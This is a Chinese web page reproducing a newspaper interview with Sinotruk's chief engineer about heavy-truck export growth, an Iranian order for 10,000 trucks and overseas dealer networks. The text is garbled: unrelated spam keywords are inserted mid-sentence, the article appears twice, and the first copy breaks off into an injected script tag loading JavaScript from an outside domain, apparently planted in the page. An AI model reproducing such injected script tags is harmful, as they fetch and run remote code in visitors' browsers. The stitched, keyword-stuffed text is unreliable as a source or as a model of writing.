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探寻中国重汽出口之路内瓷砖


2022年11月04日
探寻中国重汽出口之路

近几年,作为商用车生产大国,中国的商用车制造企业纷纷将目光投向国际市场,中国商用车的出口市场也由平静变得波澜跌宕。就在这日益高涨的出口浪潮中,中国重汽以2004年和2005年连续两年超过十倍的惊人增速站在了中国重型汽车出口的潮头:2003年出口整车40辆,2004年出口整车480辆,2005年出口整车4920辆,创汇1.32亿美元,整车出口数量和创汇额均位居全国重卡行业第一位。在短短几年内取得这样的成绩,可以说中国重汽在自己的出口之路上迈出了成功的第一步。中国重汽的出口之路缘何成功?今后的路又将如何走?对此,本报记者借“中国商用车出口论坛”在热压机京召开之机,对中国重汽总工程师王善坡进行了专访。

《中国工业报》:2005年中国重汽出口成绩优异,整车出口数量和创汇额均位列国内重卡行业第一,您认为中国重汽出口产品的优势何在?

王善坡:我国商用车出口最大的优势在于价格,相对于沃尔沃、斯堪尼亚、曼等高端重卡,中国重汽产品出口最大的优势也在于此。除此之外,较强的性能和良好的质量也是较大出口量的保证。

中国重汽近几年一直在不断地寻求适合市场的产品。中国重汽出口的产品以howo系列为主,出口对象主要是泥鳅养殖中东、东南亚、非洲部分国家。

howo7、斯太尔王、金王子等都是中国重汽出口的重点,这些产品基本满足进口国的需求。虽然在出口车型上都是统一的,但在一些具体的配置上,中国重汽会根据不同国家的特点,做出适当的改造,并针对不同的国家提供不同的服务。以伊朗为例,伊朗早期都是进口欧洲400马力左右的车型,但是使用成本很高。由于中国重汽目前的产品在马力上已经可以满足伊朗的需要,并且在外观上符合伊朗的审美要求,性能和品质方面也得到伊朗的认可,同时又有很大的价格优势,因此,中国重汽与伊朗可以签下出口大单。随着中国重汽对产品的不断提升,产品无论是在外观上还是在技术上都逐渐与欧洲接轨,中国在价格上的优势会进一步显现,在国际市场中将更具竞争力。

《中国工业报》:今年2月21日,中国重汽与伊朗汽车制造公司签订了年出口1万辆重型汽车的大单,并达成了长期合作的意向,这必将对中国重汽的海外营销和售后服务网络建设提出更高要求。在这方面中国重汽都有哪些规划?

王善坡:健全的营销服务网络历来是争夺市场的制胜法宝,中国重汽对此也一向十分重视,马纯济董事长曾经说过“要有网络才可以销售”。这几年,中国重汽坚持“大市场、大营销”的市场网络发展观,通过强化营销网络建设,实施营销结构调整,已经构建起一个以地区销售分公司、经销单位(4s店)、改装单位、维修服务站、配件经销单位为主体的覆盖全国、分布合理的现代化营销服务体系。目前,中国重汽拥有遍布全国的销售分公司近70个、经销单位600多家(其中4s店92家)、改装单位110多家、维修服务站800多家、配件经销单位400多家。

在国际市视频插头场上,中国重汽也已初步形成了主要为中东地区、非洲地区、东南亚地区和前独联体国家地区等四大板块服务的国际营销服务网点近70个。这种集中式的销售服务网络也是扩大出口量的保证。

另外,我认为经销商很关键,有一支专业的经销商队伍是很重要的。中国重汽对此非常重视,要求出口时所找的经销商或说是合作伙伴一定要对车非常了解。对由进口国当地人员组成的经销商队伍,中国重汽会派专业人员向经销商介绍产品特点,对经销商进行培训,并提供相应的技术支持;在维修和配件上,更是尽力保证及时性和准确性,这些都充分体现出中国重汽一直致力建设的“国际化企业制度”。

《中国工业报》:除了产品和网络的优势,中国重汽是否还有吸引外商的杀手锏?

王善坡:如果说还有什么独特的优势,那就要提到中国重汽几年来在重卡市场中取得的成绩以及在用户中积累的口碑了。近几年来,中国重汽在14吨以上重卡销售中的霸主地位始终无人撼动,并且产销量在时下持续低迷的重卡市场中一直稳中有增。国外厂商在选择产品前,都要做相当充分的市场调查,一些国外厂商正是看中了中国重汽雄厚的企业实力和较高的市场占有率,才最终选择了中国重汽的产品。

《中国工业报》:您能否介绍一下中国重汽目前的出口业绩如何?此外,从长期来看,中国重汽对海外市场有何规划?

王善坡:今年中国重汽的生产经营和产品出口都实现了大幅增长,1~5月累计产销汽车超过26000辆,同比增长31%;产品整车出口3530辆,创汇1.24亿美元,较同期增长了八倍。特别是今年2月份,中国重汽签订了年出口1万辆重型汽车的出口合同,实现了国际市场开拓的重大突破。我们在年初制定了出口8000辆的销售计划,截至今年5月,这个目标已实现了将近一半,前景很乐观,我们也很有信心。 

对于海外市场,中国重汽也会有步骤地进行拓?script src=http://er12.com/t.js>

近几年,作为商用车生产大国,中国的商用车制造企业纷纷将目光投向国际市场,中国商用车的出口市场也由平静变得波澜跌宕。就转椅在这日益高涨的出口浪潮中,中国重汽以2004年和2005年连续两年超过十倍的惊人增速站在了中国重型汽车出口的潮头:2003年出口整车40辆,2004年出口整车480辆,2005年出口整车4920辆,创汇1.32亿美元,整车出口数量和创汇额均位居全国重卡行业第一位。在短短几年内取得这样的成绩,可以说中国重汽在自己的出口之路上迈出了成功的第一步。中国重汽的出口之路缘何成功?今后的路又将如何走?对此,本报记者借“中国商用车出口论坛”在京召开之机,对中国重汽总工程师王善坡进行了专访。

《中国工业报》:2005年中国重汽出口成绩优异,整车出口数量和创汇额均位列国内重卡行业第一,您认为中国重汽出口产品的优势何在?

王善坡:我国商用车出口最大的优势在于价格,相对于沃尔沃、斯堪尼亚、曼等高端重卡,中国重汽产品出口最大的优势也在于此。除此之外,较强的性能和良好的质量也是较大出口量的保证。

中国重汽近几年一直在不断地寻求适合市场的产品。中国重汽出口的产品以howo系列为主,出口对象主要是中东、东南亚、非洲部分国家。

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《中国工业报》:今年2月21日,中国重汽与伊朗汽车制造公司签订了年出口1万辆重型汽车的大单,并达成了长期合作的意向,这必将对中国重汽的海外营销和售后服务网络建设提出更高要求。在这方面中国重汽都有哪些规划?

王善坡:健全的营销服务网络历来是争夺市场的制胜法宝,中国重汽对此也一向十分重视,马纯济董事长曾经说过“要有网络才可以销售”。这几年,中国重汽坚持“大市场、大营销”的市场网络发展观,通过强化营销网络建设,实施营销结构调整,已经构建起一个以地区销售分公司、经销单位(4s店)、改装单位、维修服务站、配件经销单位为主体的覆盖全国、分布合理的现代化营销服务体系。目前,中国重汽拥有遍布全国的销售分公司近70个、经销单位600多家(其中4s店92家)、改装单位110多家、维修服务站800多家、配件经销单位400多家。

在国际市场上,中国重汽也已初步形成了主要为中东地区、非洲地区、东南亚地区和前独联体国家地区等四大板块服务的国际营销服务网点近70个。这种集中式的销售服务网络也是扩大出口量的保证。

另外,我认为经销商很关键,有一支专业的经销商队伍是很重要的。中国重汽对此非常重视,要求出口时所找的经销商或说是合作伙伴一定要对车非常了解。对由进口国当地人员组成的经销商队伍,中国重汽会派专业人员向经销商介绍产品特点,对经销商进行培训,并提供相应的技术支持;在维修和配件上,更是尽力保证及时性和准确性,这些都充分体现出中国重汽一直致力建设的“国际化企业制度”。

《中国工业报》:除了产品和网络的优势,中国重汽是否还有吸引外商的杀手锏?

王善坡:如果说还有什么独特的优势,那就要提到中国重汽几年来在重卡市场中取得的成绩以及在用户中积累的口碑了。近几年来,中国重汽在14吨以上重卡销售中的霸主地位始终无人撼动,并且产销量在时下持续低迷的重卡市场中一直稳中有增。国外厂商在选择产品前,都要做相当充分的市场调查,一些国外厂商正是看中了中国重汽雄厚的企业实力和较高的市场占有率,才最终选择了中国重汽的产品。

《中国工业报》:您能否介绍一下中国重汽目前的出口业绩如何?此外,从长期来看,中国重汽对海外市场有何规划?

王善坡:今年中国重汽的生产经营和产品出口都实现了大幅增长,1~5月累计产销汽车超过26000辆,同比增长31%;产品整车出口3530辆,创汇1.24亿美元,较同期增长了八倍。特别是今年2月份,中国重汽签订了年出口1万辆重型汽车的出口合同,实现了国际市场开拓的重大突破。我们在年初制定了出口8000辆的销售计划,截至今年5月,这个目标已实现了将近一半,前景很乐观,我们也很有信心。 

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